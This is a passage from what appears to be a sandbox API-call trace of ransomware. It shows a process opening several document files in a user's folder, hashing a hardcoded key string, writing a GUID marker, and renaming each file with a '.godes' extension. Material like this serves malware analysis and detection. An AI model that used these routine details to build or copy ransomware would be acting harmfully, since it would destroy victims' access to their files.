HALPmcxz\\Documents\\pKUj8876P.docx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pkuj8876p.docx.godes")) returned 1 [0113.311] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ccd8990, ftCreationTime.dwHighDateTime=0x1d4c5be, ftLastAccessTime.dwLowDateTime=0x6b049110, ftLastAccessTime.dwHighDateTime=0x1d4c6a2, ftLastWriteTime.dwLowDateTime=0x6b049110, ftLastWriteTime.dwHighDateTime=0x1d4c6a2, nFileSizeHigh=0x0, nFileSizeLow=0x1061d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PxpzY_JBUc8.ppt", cAlternateFileName="PXPZY_~1.PPT")) returned 1 [0113.311] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PxpzY_JBUc8.ppt") returned=".ppt" [0113.311] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PxpzY_JBUc8.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pxpzy_jbuc8.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.311] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=67101) returned 1 [0113.311] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.312] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x105f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.312] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.314] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1061d, lpOverlapped=0x0) returned 1 [0113.314] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.315] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.315] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.315] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.315] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.315] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.315] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.315] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.315] GetLastError () returned 0x0 [0113.315] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.316] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.316] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1061d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.316] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.316] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.316] CloseHandle (hObject=0x624) returned 1 [0113.317] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PxpzY_JBUc8.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pxpzy_jbuc8.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PxpzY_JBUc8.ppt.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pxpzy_jbuc8.ppt.godes")) returned 1 [0113.318] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fcc82b0, ftCreationTime.dwHighDateTime=0x1d4ff4d, ftLastAccessTime.dwLowDateTime=0x74612380, ftLastAccessTime.dwHighDateTime=0x1d52cba, ftLastWriteTime.dwLowDateTime=0x74612380, ftLastWriteTime.dwHighDateTime=0x1d52cba, nFileSizeHigh=0x0, nFileSizeLow=0x14aa8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RWDHO0IzJxGN9pWG.pptx", cAlternateFileName="RWDHO0~1.PPT")) returned 1 [0113.318] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RWDHO0IzJxGN9pWG.pptx") returned=".pptx" [0113.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RWDHO0IzJxGN9pWG.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rwdho0izjxgn9pwg.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.319] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=84648) returned 1 [0113.319] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.320] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14a82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.320] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.321] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x14aa8, lpOverlapped=0x0) returned 1 [0113.322] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.322] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.322] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.322] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.323] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.323] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.323] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.323] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.323] GetLastError () returned 0x0 [0113.323] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.323] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.324] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14aa8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.324] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.324] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.324] CloseHandle (hObject=0x624) returned 1 [0113.325] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RWDHO0IzJxGN9pWG.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rwdho0izjxgn9pwg.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RWDHO0IzJxGN9pWG.pptx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rwdho0izjxgn9pwg.pptx.godes")) returned 1 [0113.326] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83bc2c0, ftCreationTime.dwHighDateTime=0x1d4c083, ftLastAccessTime.dwLowDateTime=0x92dec0a0, ftLastAccessTime.dwHighDateTime=0x1d4ac50, ftLastWriteTime.dwLowDateTime=0x92dec0a0, ftLastWriteTime.dwHighDateTime=0x1d4ac50, nFileSizeHigh=0x0, nFileSizeLow=0x18722, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ToYMawRVB8dOMOTUs.docx", cAlternateFileName="TOYMAW~1.DOC")) returned 1 [0113.326] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ToYMawRVB8dOMOTUs.docx") returned=".docx" [0113.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ToYMawRVB8dOMOTUs.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\toymawrvb8domotus.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.326] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=100130) returned 1 [0113.326] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.327] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x186fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.327] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.329] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.329] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x18722, lpOverlapped=0x0) returned 1 [0113.330] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.330] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.330] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.330] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.331] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.331] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.331] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.331] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.331] GetLastError () returned 0x0 [0113.331] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.331] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.332] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18722, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.332] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.332] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.332] CloseHandle (hObject=0x624) returned 1 [0113.333] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ToYMawRVB8dOMOTUs.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\toymawrvb8domotus.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ToYMawRVB8dOMOTUs.docx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\toymawrvb8domotus.docx.godes")) returned 1 [0113.334] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec158580, ftCreationTime.dwHighDateTime=0x1d4e51e, ftLastAccessTime.dwLowDateTime=0xbe9acde0, ftLastAccessTime.dwHighDateTime=0x1d4d2ef, ftLastWriteTime.dwLowDateTime=0xbe9acde0, ftLastWriteTime.dwHighDateTime=0x1d4d2ef, nFileSizeHigh=0x0, nFileSizeLow=0xdc9e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="U3qy.pptx", cAlternateFileName="U3QY~1.PPT")) returned 1 [0113.334] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U3qy.pptx") returned=".pptx" [0113.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U3qy.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u3qy.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.334] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=56478) returned 1 [0113.334] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.335] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdc78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.335] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.337] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xdc9e, lpOverlapped=0x0) returned 1 [0113.338] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.338] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.338] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.338] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.338] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.338] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.338] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.339] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.339] GetLastError () returned 0x0 [0113.339] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.339] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.339] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xdc9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.339] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.339] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.339] CloseHandle (hObject=0x624) returned 1 [0113.340] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U3qy.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u3qy.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U3qy.pptx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u3qy.pptx.godes")) returned 1 [0113.341] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaf0dd90, ftCreationTime.dwHighDateTime=0x1d4bbd6, ftLastAccessTime.dwLowDateTime=0xbe575600, ftLastAccessTime.dwHighDateTime=0x1d50e68, ftLastWriteTime.dwLowDateTime=0xbe575600, ftLastWriteTime.dwHighDateTime=0x1d50e68, nFileSizeHigh=0x0, nFileSizeLow=0x166a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="U9 Gu49ZvH33.docx", cAlternateFileName="U9GU49~1.DOC")) returned 1 [0113.341] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U9 Gu49ZvH33.docx") returned=".docx" [0113.341] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U9 Gu49ZvH33.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u9 gu49zvh33.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.342] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=91812) returned 1 [0113.342] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.343] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1667e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.343] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.345] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x166a4, lpOverlapped=0x0) returned 1 [0113.346] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.346] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.346] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.346] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.346] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.347] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.347] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.347] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.347] GetLastError () returned 0x0 [0113.347] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.347] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.347] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x166a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.347] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.348] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.348] CloseHandle (hObject=0x624) returned 1 [0113.349] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U9 Gu49ZvH33.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u9 gu49zvh33.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U9 Gu49ZvH33.docx.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u9 gu49zvh33.docx.godes")) returned 1 [0113.350] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511c2860, ftCreationTime.dwHighDateTime=0x1d4d3dd, ftLastAccessTime.dwLowDateTime=0x6d78ec60, ftLastAccessTime.dwHighDateTime=0x1d4c9d7, ftLastWriteTime.dwLowDateTime=0x6d78ec60, ftLastWriteTime.dwHighDateTime=0x1d4c9d7, nFileSizeHigh=0x0, nFileSizeLow=0x8a3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VW61dc17V6x.pdf", cAlternateFileName="VW61DC~1.PDF")) returned 1 [0113.350] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VW61dc17V6x.pdf") returned=".pdf" [0113.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VW61dc17V6x.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vw61dc17v6x.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.350] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=35387) returned 1 [0113.350] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.351] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8a15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.351] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.353] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x8a3b, lpOverlapped=0x0) returned 1 [0113.353] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.353] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.353] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.353] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.354] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.354] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.354] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.354] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.354] GetLastError () returned 0x0 [0113.354] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.354] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.355] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8a3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.355] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.355] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.355] CloseHandle (hObject=0x624) returned 1 [0113.355] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VW61dc17V6x.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vw61dc17v6x.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\VW61dc17V6x.pdf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vw61dc17v6x.pdf.godes")) returned 1 [0113.357] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36a27c0, ftCreationTime.dwHighDateTime=0x1d4d437, ftLastAccessTime.dwLowDateTime=0x73ce1740, ftLastAccessTime.dwHighDateTime=0x1d4d934, ftLastWriteTime.dwLowDateTime=0x73ce1740, ftLastWriteTime.dwHighDateTime=0x1d4d934, nFileSizeHigh=0x0, nFileSizeLow=0xbe08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wKt8pNbMIBpNV1.docx", cAlternateFileName="WKT8PN~1.DOC")) returned 1 [0113.357] PathFindExtensionW 